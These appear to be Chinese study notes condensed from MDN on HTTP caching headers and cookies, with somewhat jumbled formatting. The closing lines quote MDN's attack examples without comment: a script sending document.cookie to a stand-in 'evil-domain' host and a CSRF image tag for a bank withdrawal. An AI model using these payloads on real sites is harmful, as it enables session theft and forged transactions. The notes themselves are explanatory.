Cache:
MDN - Caching
指存儲指定資源的一份拷貝,並在下次請求該資源時提供該拷貝的技術
通過它提供的不同的值來定義緩存策略
完全不支持緩存
Cache-Control: no-store
Cache-Control: no-cache, no-store, must-revalidate
不緩存內容
Cache-Control: no-cache
私有緩存和公共緩存
Cache-Control: private
Cache-Control: public
緩存過期 Expires
max-age
: 距離請求發起的時間的秒數Cache-Control: max-age=31536000
緩存驗證
must-revalidate
: 強制驗證狀態判斷其是否過期Cache-Control: must-revalidate
緩存失效時間 = 響應時間 + 緩存壽命 - 當前時間
Cache-control: must-revalidate
: 在瀏覽的過程中也會觸發緩存驗證If-None-Match
頭來驗證緩存Last-Modified
If-Modified-Since
來驗證緩存Cookie: MDN - Cookie
服務器發送到用戶瀏覽器並保存在瀏覽器上的一塊數據,它會在瀏覽器下一次發起請求時被攜帶並發送到服務器上
Set-Cookie: <cookie名稱>=<cookie值>
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
Domain
: 規定了需要發送Cookie的主機名
Domain=mozilla.org
,則Cookie包含在子域名中,如developer.mozilla.orgPath
: 表明需要發送Cookie的URL路徑
%x2F
(即"/")用做文件夾分隔符document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
// logs "yummy_cookie=choco; tasty_cookie=strawberry"
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">